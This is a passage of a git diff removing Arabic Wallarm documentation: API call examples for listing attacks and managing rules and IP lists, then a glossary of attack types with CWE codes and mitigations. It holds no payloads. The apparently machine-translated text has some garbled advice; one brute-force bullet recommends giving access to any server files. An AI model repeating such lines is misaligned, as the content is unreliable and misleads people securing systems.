ثم في الطلبات التالية ، يعيد الخادم النتائج بعد المؤشر المعطى. لتمكين ترتيب الصفحة بواسطة المؤشر، تضمين `"paging": true` في معلمات الطلب. - -فيما يلي أمثلة لاستدعاءات API لاسترداد جميع الهجمات التي تم اكتشافها منذ `` باستخدام ترتيب الصفحة بواسطة المؤشر: - -=== "EU Cloud" - ```bash - curl -k 'https://api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` -=== "US Cloud" - ```bash - curl -k 'https://us1.api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` - -يعود هذا الطلب بمعلومات حول الهجمات الـ100 الأخيرة المكتشفة، مرتبة من الأحدث إلى الأقدم. بالإضافة إلى ذلك، يتضمن الرد معلمة `cursor` التي تحتوي على مؤشر إلى المجموعة التالية من 100 هجوم. - -لاسترداد الـ100 هجوم التالية، استخدم نفس الطلب مثل السابق ولكن قم بتضمين معلمة `cursor` مع قيمة المؤشر نسخ من رد الطلب السابق. يتيح هذا لواجهة برمجة التطبيقات معرفة أين تبدأ في إرجاع المجموعة التالية من 100 هجوم من ، على سبيل المثال: - -=== "EU Cloud" - ```bash - curl -k 'https://api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"cursor":"", "paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` -=== "US Cloud" - ```bash - curl -k 'https://us1.api.wallarm.com/v2/objects/attack' \ - -X POST \ - -H 'X-WallarmApi-Token: ' \ - -H 'Content-Type: application/json' \ - -d '{"cursor":"", "paging": true, "filter": {"clientid": [], "vulnid": null, "time": [[, null]], "!state": "falsepositive"}}' - ``` -لاسترداد صفحات النتائج الأخرى، تنفيذ طلبات تضمن معلمة `cursor` مع القيمة نسخ من الرد السابق. - -أدناه هو مثال لرمز Python لاسترداد الهجمات باستخدام ترتيب الصفحة بواسطة المؤشر: - -=== "EU Cloud" - ```python - import json - from pprint import pprint as pp - - import requests - - - client_id = - ts = # UNIX time - - url = "https://api.wallarm.com/v2/objects/attack" - headers = { - "X-WallarmApi-Token": "", - "Content-Type": "application/json", - } - payload = { - "paging": True, - "filter": { - "clientid": [client_id], - "vulnid": None, - "time": [[ts, None]], - "!state": "falsepositive", - }, - } - - - while True: - response = requests.post(url, headers=headers, json=payload) - data = response.json() - - cursor = data.get("cursor") - if not cursor: - break - - pp(data) - payload["cursor"] = cursor - ``` -=== "US Cloud" - ```python - import json - from pprint import pprint as pp - - import requests - - - client_id = - ts = # UNIX time - - url = "https://us1.api.wallarm.com/v2/objects/attack" - headers = { - "X-WallarmApi-Token": "", - "Content-Type": "application/json", - } - payload = { - "paging": True, - "filter": { - "clientid": [client_id], - "vulnid": None, - "time": [[ts, None]], - "!state": "falsepositive", - }, - } - - - while True: - response = requests.post(url, headers=headers, json=payload) - data = response.json() - - cursor = data.get("cursor") - if not cursor: - break - - pp(data) - payload["cursor"] = cursor - ``` - -## الحصول على الحوادث الـ50 الأولى المؤكدة في الـ 24 ساعة الماضية - -الطلب مشابه جدًا للمثال السابق لقائمة الهجمات؛ يتم إضافة الحالة `"!vulnid": null` إلى هذا الطلب. توجه هذه الحالة للـ API لتجاهل جميع الهجمات التي لا تحتوي على معرف الثغرات الأمنية المحدد، وهكذا تميز النظام بين الهجمات والحوادث. - -يرجى استبدال `TIMESTAMP` بالتاريخ منذ 24 ساعة وتحويله إلى تنسيق [Unix Timestamp](https://www.unixtimestamp.com/). - ---8<-- "../include/api-request-examples/get-incidents-en.md" - -## الحصول على الثغرات الأمنية الـ50 الأولى في الوضع "نشط" خلال الـ24 ساعة الماضية - -يرجى استبدال `TIMESTAMP` بالتاريخ منذ 24 ساعة وتحويله إلى تنسيق [Unix Timestamp](https://www.unixtimestamp.com/). - ---8<-- "../include/api-request-examples/get-vulnerabilities.md" - -## الحصول على جميع القواعد المكونة - ---8<-- "../include/api-request-examples/get-all-configured-rules.md" - -## الحصول على الشروط فقط لجميع القواعد - ---8<-- "../include/api-request-examples/get-conditions.md" - -## الحصول على القواعد المرتبطة بشرط محدد - -للإشارة إلى شرط معين ، استخدم معرفه - يمكنك الحصول عليه عند طلب شروط جميع القواعد (انظر أعلاه). - ---8<-- "../include/api-request-examples/get-rules-by-condition-id.md" - -## قم بإنشاء التصحيح الافتراضي لمنع كل الطلبات المرسلة إلى `/my/api/*` - ---8<-- "../include/api-request-examples/create-rule-en.md" - -## إنشاء التصحيح الافتراضي لمعرف نموذج التطبيق المحدد لمنع كل الطلبات المرسلة إلى `/my/api/*` - -يجب أن يكون التطبيق [مكوناً](../user-guides/settings/applications.md) قبل إرسال هذا الطلب. حدد معرف التطبيق الموجود في `action.point[instance].value`. - ---8<-- "../include/api-request-examples/create-rule-for-app-id.md" - -## أنشئ قاعدة للحساب بك أن الطلبات ذات القيمة المحددة للرأس `X-FORWARDED-FOR` هي هجمات - -سيقوم الطلب التالي بإنشاء [مؤشر هجوم مخصص استنادًا إلى regexp](../user-guides/rules/regex-rule.md) `^(~(44[.]33[.]22[.]11))$`. - -إذا كانت الطلبات إلى النطاق `MY.DOMAIN.COM` لديها رأس HTTP `X-FORWARDED-FOR: 44.33.22.11`, ستعتبر عقدة Wallarmهم كهجمات من الاسكانير وسوف تمنع الهجمات إذا تم تعيين الوضع الفلترة المقابل [filtration mode](../admin-en/configure-wallarm-mode.md). - ---8<-- "../include/api-request-examples/create-rule-scanner.md" - -## أنشئ القاعدة التي تضبط وضع الفلترة على المراقبة للتطبيق المحدد - -سيقوم الطلب التالي بإنشاء ال[قاعدة التي تضبط العقدة لتصفية الحركة](../admin-en/configure-wallarm-mode.md#setting-up-endpoint-targeted-filtration-rules-in-wallarm-console) المتجهة إلى [التطبيق](../user-guides/settings/applications.md) مع معرف `3` بوضع المراقبة. - ---8<-- "../include/api-request-examples/create-filtration-mode-rule-for-app.md" - -## حذف القاعدة بمعرفها - -يمكنك نسخ معرف القاعدة ليتم حذفه عند [الحصول على جميع القواعد المكونة](#get-all-configured-rules). كما تم إرجاع معرف القاعدة في استجابة لطلب إنشاء القاعدة ، في معلمة الاستجابة `id`. - ---8<-- "../include/api-request-examples/delete-rule-by-id.md" - -## استدعاءات API للحصول على، وتعبئة وحذف كائنات قائمة الـ IP - -أدناه بعض الأمثلة على استدعاءات API للحصول على، وتعبئة وحذف كائنات [قائمة الـ IP](../user-guides/ip-lists/overview.md). - -### معلمات طلب API - -المعلمات التي يجب تمريرها في طلبات API لقراءة وتغيير قوائم الـ IP: - ---8<-- "../include/api-request-examples/ip-list-request-params.md" - -### إضافة إلى القائمة الإدخالات من ملف `.csv` - -لإضافة IPs أو الشبكات الفرعية من ملف `.csv` إلى القائمة، استعمل النص البرمجي bash التالي: - ---8<-- "../include/api-request-examples/add-ips-to-lists-from-file.md" - -### إضافة إلى القائمة IP واحدة أو شبكة فرعية - ---8<-- "../include/api-request-examples/add-some-ips-to-lists.md" - -### إضافة إلى القائمة العديد من الدول - ---8<-- "../include/api-request-examples/add-some-countries-to-lists.md" - -### إضافة إلى القائمة العديد من خدمات البروكسي - ---8<-- "../include/api-request-examples/add-some-proxies-to-lists.md" - -### حذف كائن من قائمة الـ IP - -يتم حذف الكائنات من قوائم الـ IP بواسطة معرفاتهم. - -للحصول على معرف الكائن، اطلب محتويات قائمة الـ IP وانسخ `objects.id` من الكائن المطلوب من الاستجابة: - ---8<-- "../include/api-request-examples/get-ip-list-contents.md" - -عندما يكون لديك معرف الكائن، أرسل الطلب التالي لحذف الكائن من القائمة: - ---8<-- "../include/api-request-examples/delete-object-from-ip-list.md" - -يمكنك حذف أكثر من كائن في وقت واحد عن طريق تمرير معرفاتهم كمصفوفة في طلب الحذف. \ No newline at end of file diff --git a/docs/latest-ar/attacks-vulns-list.md b/docs/latest-ar/attacks-vulns-list.md deleted file mode 100644 index ed734f8489..0000000000 --- a/docs/latest-ar/attacks-vulns-list.md +++ /dev/null @@ -1,372 +0,0 @@ -# أنواع الهجمات والثغرات الأمنية - -[cwe-20]: https://cwe.mitre.org/data/definitions/20.html -[cwe-22]: https://cwe.mitre.org/data/definitions/22.html -[cwe-78]: https://cwe.mitre.org/data/definitions/78.html -[cwe-79]: https://cwe.mitre.org/data/definitions/79.html -[cwe-88]: https://cwe.mitre.org/data/definitions/88.html -[cwe-89]: https://cwe.mitre.org/data/definitions/89.html -[cwe-90]: https://cwe.mitre.org/data/definitions/90.html -[cwe-93]: https://cwe.mitre.org/data/definitions/93.html -[cwe-94]: https://cwe.mitre.org/data/definitions/94.html -[cwe-113]: https://cwe.mitre.org/data/definitions/113.html -[cwe-96]: https://cwe.mitre.org/data/definitions/96.html -[cwe-97]: https://cwe.mitre.org/data/definitions/97.html -[cwe-150]: https://cwe.mitre.org/data/definitions/150.html -[cwe-159]: https://cwe.mitre.org/data/definitions/159.html -[cwe-200]: https://cwe.mitre.org/data/definitions/200.html -[cwe-209]: https://cwe.mitre.org/data/definitions/209.html -[cwe-215]: https://cwe.mitre.org/data/definitions/215.html -[cwe-288]: https://cwe.mitre.org/data/definitions/288.html -[cwe-307]: https://cwe.mitre.org/data/definitions/307.html -[cwe-352]: https://cwe.mitre.org/data/definitions/352.html -[cwe-409]: https://cwe.mitre.org/data/definitions/409.html -[cwe-425]: https://cwe.mitre.org/data/definitions/425.html -[cwe-444]: https://cwe.mitre.org/data/definitions/444.html -[cwe-511]: https://cwe.mitre.org/data/definitions/511.html -[cwe-521]: https://cwe.mitre.org/data/definitions/521.html -[cwe-538]: https://cwe.mitre.org/data/definitions/538.html -[cwe-541]: https://cwe.mitre.org/data/definitions/541.html -[cwe-548]: https://cwe.mitre.org/data/definitions/548.html -[cwe-601]: https://cwe.mitre.org/data/definitions/601.html -[cwe-611]: https://cwe.mitre.org/data/definitions/611.html -[cwe-776]: https://cwe.mitre.org/data/definitions/776.html -[cwe-799]: https://cwe.mitre.org/data/definitions/799.html -[cwe-639]: https://cwe.mitre.org/data/definitions/639.html -[cwe-918]: https://cwe.mitre.org/data/definitions/918.html -[cwe-943]: https://cwe.mitre.org/data/definitions/943.html -[cwe-1270]: https://cwe.mitre.org/data/definitions/1270.html -[cwe-1294]: https://cwe.mitre.org/data/definitions/1294.html -[cwe-937]: https://cwe.mitre.org/data/definitions/937.html -[cwe-1035]: https://cwe.mitre.org/data/definitions/1035.html -[cwe-1104]: https://cwe.mitre.org/data/definitions/1104.html - -[link-cwe]: https://cwe.mitre.org/ - -[link-owasp-xxe-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html -[link-owasp-xss-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html -[link-owasp-idor-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html -[link-owasp-ssrf-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html -[link-owasp-auth-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html -[link-owasp-ldapi-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html -[link-owasp-sqli-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html -[link-owasp-inputval-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html - -[link-ptrav-mitigation]: https://owasp.org/www-community/attacks/Path_Traversal -[link-wl-process-time-limit-directive]: admin-en/configure-parameters-en.md#wallarm_process_time_limit - -[doc-vpatch]: user-guides/rules/vpatch-rule.md - -[anchor-brute]: #brute-force-attack -[anchor-rce]: #remote-code-execution-rce -[anchor-ssrf]: #serverside-request-forgery-ssrf - -[link-imap-wiki]: https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol -[link-smtp-wiki]: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol -[ssi-wiki]: https://en.wikipedia.org/wiki/Server_Side_Includes -[link-owasp-csrf-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html - -تحتوي هذه المقالة على قائمة وصف موجز للهجمات والثغرات الأمنية التي يمكن لوحدة تصفية Wallarm اكتشافها بما في ذلك تلك المقدمة في [OWASP Top 10](https://owasp.org/www-project-top-ten/) وقوائم المخاطر الأمنية [OWASP API Top 10](https://owasp.org/www-project-api-security/). تكون معظم الثغرات الأمنية والهجمات المذكورة في القائمة مرفقة بكود واحد أو أكثر من القائمة، المعروفة ب[التعداد المشترك لأنواع الضعف في البرامج][link-cwe] أو CWE. - -يكتشف Wallarm الثغرات الأمنية والهجمات المدرجة تلقائيًا ويقوم بالتحرك وفقًا لـ [وضع التصفية](admin-en/configure-wallarm-mode.md). يجب أن يكون هناك تعديلات على السلوك الافتراضي التي تمت بواسطة قوانينك الخاصة [القواعد](user-guides/rules/rules.md) و[المشغلات](user-guides/triggers/triggers.md). - -!!! info "التكوين المطلوب لبعض أنواع الهجمات" - بعض الهجمات والثغرات الأمنية، مثل الوقائع السلوكية ([هجوم القوة الغاشمة](#brute-force-attack)، [التصفح الإجباري](#forced-browsing)، [BOLA](#broken-object-level-authorization-bola))، [سوء استخدام واجهة برمجة التطبيقات](#api-abuse) و[إدخال الاعتمادات](#credential-stuffing) ليست مكتشفة بشكل افتراضي. لمثل هذه الهجمات/الثغرات الأمنية، يتم تعريف التكوين المطلوب بشكل خاص. - -??? info "شاهد الفيديو حول كيفية حماية Wallarm ضد OWASP Top 10" -
      - -
      - -## سوء استخدام واجهة برمجة التطبيقات - -**هجوم** - -**كود Wallarm:** `api_abuse` - -**الوصف:** - -مجموعة أساسية من أنواع الروبوتات تتضمن زيادة زمن استجابة الخادم، إنشاء حسابات وهمية، والتذاكر. - -**التكوين المطلوب:** - -تكتشف Wallarm وتقلل من هجمات سوء استخدام واجهة برمجة التطبيقات فقط إذا كان لديها وحدة [الوقاية من سوء استخدام واجهة برمجة التطبيقات](api-abuse-prevention/overview.md) ممكّنة ومكوّنة بشكل صحيح. - -تستخدم وحدة **الوقاية من سوء استخدام واجهة برمجة التطبيقات** نموذج الكشف عن الروبوتات المعقد للكشف عن أنواع الروبوتات التالية: - -* سوء استخدام واجهة برمجة التطبيقات الذي يستهدف زيادة زمن استجابة الخادم أو عدم توفر الخادم. عادةً، يتم تحقيق ذلك من خلال زيادات ضارة في حركة المرور. -* [إنشاء حسابات وهمية](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-019_Account_Creation) و[البريد المؤذي](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-017_Spamming) هما خلق حسابات وهمية أو تأكيد المحتوى المزيف (على سبيل المثال، ردود الفعل). عادة، لا ينتج عن ذلك تعطل الخدمة ولكن يبطئ أو يتدهور العمليات التجارية العادية، على سبيل المثال: - - * معالجة طلبات المستخدمين الحقيقيين من قبل فريق الدعم - * جمع إحصائيات المستخدم الحقيقي من قبل فريق التسويق - -* يتميز ال[تذاكر](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-005_Scalping) بالروبوتات التي تجعل منتجات المتجر على الإنترنت غير متاحة للعملاء الحقيقيين، على سبيل المثال، عن طريق حجز جميع العناصر بحيث تصبح غير متوفرة ولكن لا تجني أي ربح. - -إذا أشارت المقاييس إلى علامات هجوم الروبوت، فإن الوحدة [ترفض أو تضع في القائمة الرمادية](api-abuse-prevention/overview.md#reaction-to-malicious-bots) مصدر حركة المرور الشاذة لمدة ساعة. - -**بالإضافة إلى حماية Wallarm:** - -* تعرف على [وصف OWASP للتهديدات المؤتمتة](https://owasp.org/www-project-automated-threats-to-web-applications/) لتطبيقات الويب. -* رفض قائمة عناوين IP للمناطق والمصادر (مثل Tor)، والتي ليست مرتبطة بالتطبيق الخاص بك بالتأكيد. -* تكوين معدل طلبات من جانب الخادم. -* استخدم حلول CAPTCHA إضافية. -* ابحث عن التحليلات الخاصة بتطبيقك للعلامات الهجومية للروبوت. - -## سوء استخدام واجهة برمجة التطبيقات - الاستيلاء على الحساب - -**هجوم** - -**كود Wallarm:** `api_abuse` - -**الوصف:** - -نوع من هجمات الإنترنت حيث يكتسب النشطاء الضارين الوصول إلى حساب شخص آخر بدون إذن أو معرفة. بمجرد حصولهم على الوصول إلى الحساب، يمكنهم استخدامه لأغراض مختلفة، مثل سرقة المعلومات الحساسة، وإجراء المعاملات الاحتيالية، أو نشر الرسائل البريدية غير المرغوب فيها أو البرامج الضارة. - -**التكوين المطلوب:** - -تكتشف Wallarm نوايا الاستيلاء على الحساب فقط إذا كانت وحدة التصفية لديها الإصدار 4.10 أو أعلى وكانت وظيفة [الكشف عن اختراق الاعتمادات](about-wallarm/credential-stuffing.md) ممكّنة ومكوّنة بشكل صحيح. - -تكتشف [الكشف عن اختراق الاعتمادات](about-wallarm/credential-stuffing.md) الروبوتات التي تقوم بـ [الاختراق الاعتمادات](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-007_Credential_Cracking.html) التي تتم عادة كهجوم قوة غاشمة على النقاط الحرجة أو / والنقاط النهائية التي تتعلق بنقاط النهاية للمصادقة و / أو التسجيل. يتم حساب الحد التلقائي للمقاييس القبول العادل بناءً على حركة المرور الشرعية لساعة واحدة. - -**بالإضافة إلى حماية Wallarm:** - -* تعرف على [وصف OWASP للتهديدات المؤتمتة](https://owasp.org/www-project-automated-threats-to-web-applications/) لتطبيقات الويب. -* استخدم كلمات مرور قوية. -* لا تستخدم نفس كلمات المرور للموارد المختلفة. -* تمكين التوثيق الثنائي. -* استخدم حلول CAPTCHA الإضافية. -* راقب الحسابات بحثًا عن نشاطات مشبوهة. - -## سوء استخدام واجهة برمجة التطبيقات - الحفز - -**هجوم** - -**كود Wallarm:** `api_abuse` - -**الوصف:** - -تعتبر استخراج البيانات، أو الحفز، معروفة بـ "Web scraping" عملية استخراج البيانات تلقائيًا من المواقع على الويب. يتضمن ذلك استخدام برنامج خاص أو تعليمات برمجية لاسترجاع واستخراج البيانات من صفحات الويب وحفظها في تنسيق منظم مثل جدول البيانات أو قاعدة البيانات. - -يمكن استخدام خدش الويب لأغراض ضارة. على سبيل المثال، يمكن للبرامج النصية انتزاع المعلومات الحساسة مثل بيانات تسجيل الدخول أو المعلومات الشخصية أو البيانات المالية من المواقع. يمكن أيضًا للبرامج النصية استخدام ملفات البريد الإلكتروني أو استخدام البيانات المستخرجة من موقع على الويب بطريقة تضر بأدائه، مما يؤدي إلى هجمات حرمان الخدمة (DoS). - -**التكوين المطلوب:** - -تكتشف Wallarm الهجمات الناجمة عن الحفز فقط إذا كان لديها وحدة [الوقاية من سوء استخدام واجهة برمجة التطبيقات](api-abuse-prevention/overview.md) ممكّنة ومكوّنة بشكل صحيح. - -تستخدم وحدة **الوقاية من سوء استخدام واجهة برمجة التطبيقات** نموذج الكشف عن الروبوتات المعقد للكشف عن النوع الروبوت الذي يجمع البيانات القابلة للوصول و / أو الناتج المُعَالج من التطبيق الذي قد يؤدي إلى الحصول على المحتوى الخاص أو غير المجاني لأي مستخدم. - -**بالإضافة إلى حماية Wallarm:** - -* تعرف على [وصف OWASP للتهديدات المؤتمتة](https://owasp.org/www-project-automated-threats-to-web-applications/) لتطبيقات الويب. -* استخدم حلول CAPTCHA الإضافية. -* استخدم ملف robots.txt لإخبار متصفحات البحث التي يمكنها ولا يمكنها تصفح. -* راقب حركة المرور للبحث عن الأنماط التي قد تشير إلى النشاط الخبيث. -* تنفيذ الحد من المعدل. -* تشويش أو تشفير البيانات. -* اتخاذ إجراءات قانونية. - -## سوء استخدام واجهة برمجة التطبيقات - روبوتات الأمان - -**هجوم** - -**كود Wallarm:** `api_abuse` - -**الوصف:** - -على الرغم من أن روبوتات الأمان مصممة لمسح المواقع واكتشاف الثغرات الأمنية والقضايا الأمنية، لكن يمكن استخدامها أيضًا لأغراض ضارة. قد يستخدمها المهاجمون النشطاء لتحديد المواقع الضعيفة واستغلالها لأجلهم. - -علاوة على ذلك، قد تكون بعض روبوتات الأمان تم تصميمها بشكل رديء وتسببت عن غير قصد في ضرر على المواقع عن طريق أكداس الخوادم، أو تسببت في انهيارات، أو إنشاء أنواع أخرى من الاضطرابات. - -**التكوين المطلوب:** - -تكتشف Wallarm هجمات روبوتات الأمان فقط إذا كان لديها وحدة [الوقاية من سوء استخدام واجهة برمجة التطبيقات](api-abuse-prevention/overview.md) ممكّنة ومكوّنة بشكل صحيح. - -تستخدم وحدة **الوقاية من سوء استخدام واجهة برمجة التطبيقات** نموذج الكشف عن الروبوتات المعقد للكشف عن الأنواع التالية من روبوتات الأمان: - -* يكتشف الأنواع المستغلة في طلبات معينة تتم إرسالها إلى التطبيق للحصول على معلومات من أجل بروفايل التطبيق. تم تصنيف هذا النوع بأنه [التحقق من البصمة](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-004_Fingerprinting.html). -* يتم اجتياح المعلومات التي يتم جمعها على النحو الأمثل لتعرف أكبر قدر ممكن عن تكوين التطبيق وآليات الأمان. يكون الهدف هو تعلم أكبر قدر ممكن عن بنية التطبيق وتكوينه وآليات الأمان. تم تصنيف هذا النوع بأنه [الاعتراف بالإطار الزمني](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-018_Footprinting.html). -* يتم تصنيف ذلك من خلال البحث عن الثغرات في الخدمة [فحص الثغرات](https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning). - -**بالإضافة إلى حماية Wallarm:** - -* تعرف على [وصف OWASP للتهديدات المؤتمتة](https://owasp.org/www-project-automated-threats-to-web-applications/) لتطبيقات الويب. -* استخدم شهادات SSL. -* استخدم حلول CAPTCHA الإضافية. -* قم بتنفيذ الحد من المعدل. -* راقب حركة المرور للبحث عن الأنماط التي قد تشير إلى النشاط الخبيث. -* استخدم ملف robots.txt لإخبار متصفحات البحث التي يمكنها ولا يمكنها تصفح. -* تحديث البرامج بشكل منتظم. -* استخدم شبكة توصيل المحتوى (CDN). - -## هجوم على كيان XML الخارجي (XXE) - -**ثغرة أمنية/هجوم** - -**كود CWE:** [CWE-611][cwe-611] - -**كود Wallarm:** `xxe` - -**الوصف:** - -تتيح ثغرة XXE للمهاجم إدخال كيان خارجي في وثيقة XML لتقييمها بواسطة محلل XML ومن ثم تنفيذه على الخادم الهدف. - -نتيجة للهجوم الناجح، سيكون للمهاجم القدرة على: - -* الحصول على الوصول إلى بيانات التطبيق على الويب المؤمنة -* مسح الشبكات الداخلية للبيانات -* قراءة الملفات الموجودة على الخادم الويب -* تنفيذ هجوم [SSRF][anchor-ssrf] -* تنفيذ هجوم denial of service (DoS) - -يحدث هذا الضعف بسبب القيود على تحليل كيانات XML الخارجية عند العمل مع وثائق XML التي يوفرها المستخدم. - -**بالإضافة إلى حماية Wallarm:** - -* قم بتعطيل تحليل كيانات XML الخارجية عند العمل مع وثائق XML التي يوفرها المستخدم. -* طبق التوصيات من [OWASP XXE Prevention Cheat Sheet][link-owasp-xxe-cheatsheet]. - -## تجاوز المصادقة - -**ثغرة أمنية** - -**كود CWE:** [CWE-288][cwe-288] - -**كود Wallarm:** `auth` - -**الوصف:** - -على الرغم من وجود آليات المصادقة في مكانها، يمكن أن يكون لدى تطبيق ويب طرق مصادقة بديلة تتيح التجاوز المباشر لآلية المصادقة الرئيسية أو استغلال نقاط ضعفها. هذا التجميع من العوامل قد يؤدي إلى حدوث هجوم ناجح على تجاوز المصادقة والتي تتيح في النهاية الوصول إلى بيانات المستخدم المؤمنة أو أخذ السيطرة على التطبيق الضعيف بأذونات المشرف. - -**بالإضافة إلى حماية Wallarm:** - -* تحسين وتقوية آليات المصادقة الحالية. -* القضاء على أي طرق مصادقة بديلة قد تسمح للمهاجمين بالوصول إلى تطبيق مباشرة أثناء تجاوز الإجراءات المطلوبة للمصادقة عبر الآليات المحددة مسبقًا. -* طبق التوصيات من [OWASP Authentication Cheat Sheet][link-owasp-auth-cheatsheet]. - -## تفويض الكائن المكسر على المستوى (BOLA) - -**هجوم/ثغرة أمنية** - -**كود CWE:** [CWE-639][cwe-639] - -**كود Wallarm:** `idor` للثغرات الأمنية, `bola` للهجوم - -**الوصف:** - -يمكن للمهاجمين استغلال نقاط النهاية لواجهة برمجة التطبيقات التي هي عرضة لتفويض الكائن المكسر على المستوى من خلال تManipulating ID الكائن الذي يتم إرساله ضمن الطلب. قد يؤدي هذا إلى الوصول غير المصرح به إلى البيانات الحساسة. - -إن هذه المشكلة شائعة للغاية في التطبيقات المستندة إلى واجهة برمجة التطبيقات لأن المكون الخادم عادة ما لا يتعقب حالة العميل بشكل كامل، وبدلاً من ذلك، يعتمد أكثر على المعاملات مثل معرفات الكائنات، التي يتم إرسالها من العميل لتحديد أي كائنات سيتم الوصول إليها. - -تعتمد على منطق نقطة النهاية لواجهة برمجة التطبيقات، يمكن للمهاجم إما قراءة بيانات التطبيقات على الويب وواجهات برمجة التطبيقات والمستخدمين فقط أو تعديلها. - -تُعرف هذه الثغرة الأمنية أيضًا بـ IDOR (إشارة غير آمنة للكائن). - -[المزيد من التفاصيل عن الثغرة الأمنية](https://github.com/OWASP/API-Security/blob/master/editions/2019/en/0xa1-broken-object-level-authorization.md) - -**التكوين المطلوب:** - -تكتشف Wallarm الثغرات الأمنية لهذا النوع تلقائياً. للكشف عن وحجب هجمات BOLA، افعل واحدة أو كل ما يلي: - -* تمكين [الاكتشاف الشبكي لواجهة برمجة التطبيقات](api-discovery/overview.md) وتكوين [الحماية الآلية BOLA](admin-en/configuration-guides/protecting-against-bola.md) لنقاط النهاية التي تم اكتشافها من قبل هذه الوحدة -* تكوين مشغلات واحدة أو أكثر [** BOLA **](admin-en/configuration-guides/protecting-against-bola.md) - -**بالإضافة إلى حماية Wallarm:** - -* قم بتنفيذ آلية تصريح مناسبة تعتمد على سياسات المستخدم والهرمية. -* تفضل استخدام القيم العشوائية وغير القابلة للتنبؤ مثل [GUIDs](https://en.wikipedia.org/wiki/Universally_unique_identifier) لمعرفات الكائنات. -* اكتب اختبارات لتقيم آلية الترخيص. لا تنشر التغييرات الضعيفة التي تكسر الاختبارات. - -## هجوم القوة الغاشمة - -**هجوم** - -**أكواد CWE:** [CWE-307][cwe-307], [CWE-521][cwe-521], [CWE-799][cwe-799] - -**كود Wallarm:** `brute` - -**الوصف:** - -هجوم القوة الغاشمة يحدث عندما يتم إرسال عدد كبير من الطلبات بحمولة محددة مسبقًا إلى الخادم. قد يتم توليد هذه الحمولات عن طريق بعض الوسائل أو استخراجها من ملف قاموس. يتم بعد ذلك تحليل استجابة الخادم للعثور على التوافق الصحيح لبيانات الحمولة. - -هجوم القوة الغاشمة الناجح يمكن أن يؤدي بشكل محتمل إلى تجاوز آليات المصادقة والتصريح و / أو الكشف عن الموارد المخفية للتطبيق الويب (مثل الدلائل، والملفات، وأجزاء الموقع، الخ)، مما يمنح القدرة على إجراء أفعال أخرى ضارة. - -**التكوين المطلوب:** - -تكتشف Wallarm هجمات القوة الغاشمة فقط إذا كان لديها مشغلات القوة الغاشمة المكونة واحدة أو أكثر و / أو قواعد [الحد من المعدل](user-guides/rules/rate-limiting.md). - -**بالإضافة إلى حماية Wallarm:** - -* يعد تقييد عدد الطلبات لكل فترة زمنية معينة للتطبيق الويب. -* يعد تقييد عدد محاولات المصادقة / التصريح لكل فترة زمنية معينة للتطبيق الويب. -* يقوم بحظر محاولات المصادقة / التصريح الجديدة بعد عدد معين من المحاولات الفاشلة. -* يوفر القدرة على الوصول إلى أي ملفات أو دلائل على الخادم الذي يعمل عليه التطبيق على الويب، باستثناء تلك التي ضمن نطاق التطبيق. - -## إدخال الاعتمادات - -**هجوم** - -**كود Wallarm:** `credential_stuffing` - -**الوصف:** - -هجوم الإنترنت حيث يستخدم الهاكرز قوائم من بيانات تسجيل الدخول المخترقة للمستخدم للوصول غير المصرح به إلى حسابات المستخدمين على مواقع متعددة. هذا الهجوم خطر لأن الكثير من الناس يعيدون استخدام نفس اسم المستخدم وكلمة المرور عبر خدمات مختلفة أو استخدام كلمات المرور الضعيفة الشائعة. يتطلب هجوم إدخال الاعتمادات الناجح عددًا أقل من المحاولات، لذلك يمكن للمهاجمين إرسال طلبات أقل بكثير بمعدل ترددي، مما يجعل التدابير القياسية مثل حماية القوة الغاشمة غير فعالة. - -**التكوين المطلوب:** - -تكتشف Wallarm محاولات الإدخال فقط إذا كانت الوحدة التصفية لديها الإصدار 4.10 أو أعلى وكانت وظيفة [الكشف عن الإدخال](about-wallarm/credential-stuffing.md) مفعلة ومكوّنة بشكل صحيح. - -**بالإضافة إلى حماية Wallarm:** - -* تعرف على [وصف OWASP لإدخال الاعتمادات](https://owasp.org/www-community/attacks/Credential_stuffing)، بما في ذلك "Credential Stuffing Prevention Cheat Sheet". -* اجبر المستخدمين على استخدام كلمات مرور قوية. -* نصح المستخدمين بعدم استخدام نفس كلمات المرور للموارد المختلفة. -* تمكين التوثيق الثنائي. -* استخدم حلول CAPTCHA الإضافية. - -## CRLF الحقن - -**ثغرة أمنية/هجوم** - -**كود CWE:** [CWE-93][cwe-93] - -**كود 